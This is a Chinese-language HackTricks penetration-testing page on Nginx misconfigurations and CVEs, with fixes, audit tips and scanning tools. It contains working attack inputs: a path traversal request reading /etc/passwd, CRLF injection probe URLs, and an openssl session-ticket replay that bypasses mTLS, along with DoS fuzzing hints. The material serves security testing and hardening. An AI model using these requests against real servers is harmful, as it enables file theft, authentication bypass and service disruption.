Nginx

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

缺失 root location

在配置 Nginx 服务器时,root directive 起着关键作用,定义了用于提供文件的基础目录。考虑下面的示例:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

在此配置中,/etc/nginx 被指定为 root 目录。该设置允许访问指定 root 目录下的文件,例如 /hello.txt。但需要注意的是,仅定义了一个特定的 location(/hello.txt)。没有为根位置(location / {...})配置。这一遗漏意味着 root 指令具有全局作用,允许对根路径 / 的请求访问 /etc/nginx 下的文件。

该配置引发了严重的安全隐患。一个简单的 GET 请求,例如 GET /nginx.conf,可能会暴露敏感信息,因为它会提供位于 /etc/nginx/nginx.conf 的 Nginx 配置文件。将 root 设置为较不敏感的目录(比如 /etc)可以降低该风险,但仍可能导致对其他关键文件的非预期访问,包括其他配置文件、访问日志,甚至用于 HTTP basic authentication 的加密凭证。

Alias LFI 错误配置

在 Nginx 的配置文件中,应仔细检查 “location” 指令。一个被称为 Local File Inclusion (LFI) 的漏洞可能会通过类似以下的配置无意中引入:

location /imgs {
alias /path/images/;
}

该配置容易受到 LFI attacks 的影响,因为服务器会将类似 /imgs../flag.txt 的请求解释为尝试访问目标目录之外的文件,实际上解析为 /path/images/../flag.txt。此缺陷允许攻击者从服务器的文件系统中检索不应通过 Web 访问的文件。

为缓解此漏洞,应将配置调整为:

location /imgs/ {
alias /path/images/;
}

更多信息: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix 测试:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

不安全的路径限制

查看以下页面以了解如何 bypass 指令,例如:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

不安全的变量使用 / HTTP Request Splitting

Caution

易受攻击的变量 $uri$document_uri ,可以通过将它们替换为 $request_uri 来修复。

regex 也可能存在漏洞,例如:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

下面的示例演示了 Nginx 配置中的一个漏洞:

location / {
return 302 https://example.com$uri;
}

字符 \r (Carriage Return) 和 \n (Line Feed) 表示 HTTP 请求中的换行符,它们的 URL 编码形式表示为 %0d%0a。在对配置错误的服务器发起请求时包含这些字符(例如 http://localhost/%0d%0aDetectify:%20clrf)会导致服务器发出一个名为 Detectify 的新头部。这是因为 $uri 变量解码了 URL 编码的换行字符,从而在响应中产生了意外的头部:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

了解有关 CRLF injection 和 response splitting 风险的更多信息,见 https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/

此外,该技术在 explained in this talk 中有讲解,包含一些易受攻击的示例和检测机制。例如,为了从黑盒视角检测此错误配置,你可以使用以下请求:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

如果存在漏洞,第一个会返回,因为 “X” 可以是任何 HTTP 方法;第二个会返回错误,因为 H 不是有效的方法。所以服务器会接收到类似 GET / H HTTP/1.1 的内容,这会触发错误。

另一些检测示例为:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

该讲座中呈现的一些可被利用的配置包括:

  • 注意 $uri 在最终 URL 中按原样设置
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • 注意再次 $uri 出现在 URL 中(这次是在参数内部)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • 现在在 AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

任意变量

发现在某些情况下,用户提供的数据可能会被当作Nginx 变量处理。该行为的成因尚不完全明确,但既不罕见也不易验证。该异常在 HackerOne 的一份安全报告中被披露,可见 here。对错误信息的进一步调查将其定位到 Nginx 代码库的 SSI filter module of Nginx’s codebase,并指向 Server Side Includes (SSI) 为根本原因。

检测此配置错误,可以执行下面的命令,该命令通过设置 referer header 来测试变量是否被打印:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

对全系统的此类错误配置进行扫描显示,多处实例中用户可以打印 Nginx 变量。然而,易受影响实例数量的减少表明修补该问题的努力在一定程度上取得了成功。

使用 try_files 与 $URI$ARGS 变量

下面的 Nginx 错误配置可能导致 LFI 漏洞:

location / {
try_files $uri$args $uri$args/ /index.html;
}

在我们的配置中有指令 try_files,用于按指定顺序检查文件是否存在。Nginx 会提供它找到的第一个文件。try_files 指令的基本语法如下:

try_files file1 file2 ... fileN fallback;

Nginx 会按指定顺序检查每个文件是否存在。如果某个文件存在,会立即返回该文件。如果没有任何指定的文件存在,请求会被传递到回退选项,该回退选项可以是另一个 URI 或特定的错误页面。

然而,当在该指令中使用 $uri$args 变量时,Nginx 会尝试查找与请求 URI 以及任何查询字符串参数组合相匹配的文件。因此我们可以利用此配置:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

使用以下 payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

使用我们的 payload 我们将跳出根目录(在 Nginx 配置中定义)并加载 /etc/passwd 文件。在调试日志中我们可以观察到 Nginx 如何尝试这些文件:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC againts Nginx using the configuration mentioned above: 示例 burp 请求

读取后端原始响应

Nginx 通过 proxy_pass 提供了一个功能,可以拦截后端产生的错误和 HTTP 头,目的是隐藏内部错误消息和头信息。
这是通过 Nginx 在后端出错时返回自定义错误页面来实现的。然而,当 Nginx 遇到无效的 HTTP 请求时,会出现问题。此类请求会按原样转发给后端,而后端的原始响应会在没有 Nginx 干预的情况下直接发送给客户端。

考虑一个涉及 uWSGI 应用的示例场景:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

为此,Nginx 配置中使用了特定指令:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: 这个指令使 Nginx 能够为后端返回码大于 300 的响应提供自定义响应。它确保对于我们的示例 uWSGI 应用,500 Error 响应会被 Nginx 拦截并处理。
  • proxy_hide_header: 顾名思义,该指令会从客户端隐藏指定的 HTTP 头,以增强隐私和安全性。

当发出有效的 GET 请求时,Nginx 会正常处理,返回标准错误响应而不会暴露任何敏感头。然而,当请求为无效的 HTTP 请求时,会绕过这一机制,导致暴露原始后端响应,包括敏感头和错误信息。

merge_slashes 设置为 off

默认情况下,Nginx 的 merge_slashes 指令 被设置为 on,它会将 URL 中的多个斜杠压缩为单个斜杠。该功能在简化 URL 处理的同时,可能会无意间掩盖位于 Nginx 后面的应用中的漏洞,尤其是那些容易发生本地文件包含 (LFI) 攻击的应用。安全专家 Danny Robinson and Rotem Bar 已经强调了这种默认行为可能带来的风险,尤其是在 Nginx 作为反向代理时。

为降低此类风险,建议对易受此类漏洞影响的应用关闭 merge_slashes 指令。这样可以确保 Nginx 在将请求转发给应用时不修改 URL 结构,从而不会掩盖潜在的安全问题。

更多信息请查看 Danny Robinson and Rotem Bar.

Maclicious 响应头

this writeup 所示,如果 web 服务器的响应中包含某些头部,会改变 Nginx 代理的行为。你可以在 in the docs 查看它们:

  • X-Accel-Redirect: 指示 Nginx 将请求内部重定向到指定位置。
  • X-Accel-Buffering: 控制 Nginx 是否应对响应进行缓冲。
  • X-Accel-Charset: 在使用 X-Accel-Redirect 时为响应设置字符集。
  • X-Accel-Expires: 在使用 X-Accel-Redirect 时为响应设置过期时间。
  • X-Accel-Limit-Rate: 在使用 X-Accel-Redirect 时限制响应的传输速率。

例如,头部 X-Accel-Redirect 会在 nginx 中导致内部 重定向。因此,如果 nginx 配置了类似 root /,而 Web 服务器的响应包含 X-Accel-Redirect: .env,nginx 将发送 /.env 的内容(Path Traversal)。

map 指令中的默认值

Nginx 配置 中,map 指令通常在 授权控制 中发挥作用。一个常见的错误是未指定 默认 值,这可能导致未授权访问。例如:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

如果没有 default恶意用户 可以通过访问 /map-poc 中的 未定义的 URI 来绕过安全。 The Nginx manual 建议设置 默认值 以避免此类问题。

DNS Spoofing Vulnerability

在某些条件下,对 Nginx 的 DNS spoofing 是可行的。如果攻击者知道 Nginx 使用的 DNS 服务器 并且能够拦截其 DNS 查询,就可以伪造 DNS 记录。不过,如果 Nginx 被配置为使用 localhost (127.0.0.1) 进行 DNS 解析,这种方法则无效。Nginx 允许按如下方式指定 DNS 服务器:

resolver 8.8.8.8;

proxy_passinternal 指令

The proxy_pass directive is utilized for redirecting requests to other servers, either internally or externally. The internal directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.

proxy_set_header Upgrade & Connection

如果 nginx 服务器被配置为转发 Upgrade 和 Connection 头,则可能会执行h2c Smuggling attack以访问受保护/内部端点。

Caution

此漏洞将允许攻击者proxy_pass 端点 建立直接连接(在此示例中为 http://backend:9999),该端点的内容不会被 nginx 检查。

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

请注意,即使 proxy_pass 指向一个特定的 路径(例如 http://backend:9999/socket.io),连接仍会建立到 http://backend:9999,因此你可以 contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

在 2024 年,Nginx 披露了 CVE-2024-31079、CVE-2024-32760、CVE-2024-34161 和 CVE-2024-35200,显示当实验性的 ngx_http_v3_module 被编译并暴露出 listen ... quic 套接字时,单个恶意的 QUIC 会话即可 crash worker processes 或 leak memory。受影响的构建为 1.25.0–1.25.5 和 1.26.0,而 1.27.0/1.26.1 已包含修复;内存披露(CVE-2024-34161)还要求 MTUs 大于 4096 字节才能将敏感数据暴露出来(详情见下面引用的 2024 nginx advisory)。

Recon & exploitation hints

  • HTTP/3 是可选启用的,所以扫描是否存在 Alt-Svc: h3=":443" 响应或对 UDP/443 上的 QUIC 握手进行暴力探测;一旦确认,使用自定义的 quiche-client/nghttp3 payloads 对握手和 STREAM frames 进行 fuzz,以触发 worker crashes 并强制产生日志 leak。
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS 会话恢复绕过客户端证书认证 (CVE-2025-23419)

2025 年 2 月的一则公告披露,使用 OpenSSL 构建的 nginx 1.11.4–1.27.3 允许 重用来自一个基于名称的虚拟主机的 TLS 1.3 会话 在另一个主机中,因此与无需证书的主机协商的客户端可以重放 ticket/PSK,跳入受 ssl_verify_client on; 保护的 vhost,从而完全绕过 mTLS。只要多个虚拟主机共享相同的 TLS 1.3 会话缓存和 tickets,该漏洞就会触发(参见下面引用的 2025 nginx 公告)。

攻击者流程

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

如果目标存在该漏洞,第二次握手会在不呈现客户端证书的情况下完成,从而暴露受保护的位置。

What to audit

  • 混合的 server_name blocks that share ssl_session_cache shared:SSL plus ssl_session_tickets on;
  • 期望 mTLS 的 Admin/API blocks 但从公共主机继承了共享会话缓存/票据设置。
  • 将 TLS 1.3 会话恢复在全局启用的自动化(例如 Ansible roles),却未考虑 vhost 隔离。

HTTP/2 Rapid Reset 防护能力(CVE-2023-44487 行为)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) 仍会影响 nginx,当运维将 keepalive_requestshttp2_max_concurrent_streams 调高超过默认值时:攻击者打开一个 HTTP/2 连接,用数千个 streams 泛滥它,然后立即发送 RST_STREAM 帧,使并发上限始终不会达到,同时 CPU 在拆除逻辑上持续消耗。Nginx defaults (128 concurrent streams, 1000 keepalive requests) 将影响半径保持较小;将这些限制“显著提高”会让单个客户端就足以使 workers 被耗尽(参见下文引用的 F5 write-up)。

检测提示

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

那些在这些指令中显示异常高值的主机是首要目标:一个 HTTP/2 客户端可以通过循环创建流并立即发送 RST_STREAM 帧来保持 CPU 占用率处于高位,而不会触发并发限制。

自己动手试试

Detectify 创建了一个 GitHub 仓库,你可以使用 Docker 搭建一个包含本文讨论的部分错误配置的易受攻击 Nginx 测试服务器,并自行尝试发现这些问题!

https://github.com/detectify/vulnerable-nginx

静态分析工具

GixyNG & GIXY

GixyNG(GIXY 的更新分支)是一个用于分析 Nginx 配置的工具,旨在发现漏洞、不安全的指令和危险的错误配置。它还可以发现影响性能的错误配置,并检测遗漏的加固机会,从而实现自动化缺陷检测。

Nginxpwner

Nginxpwner 是一个用于查找常见 Nginx 错误配置和漏洞的简单工具。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks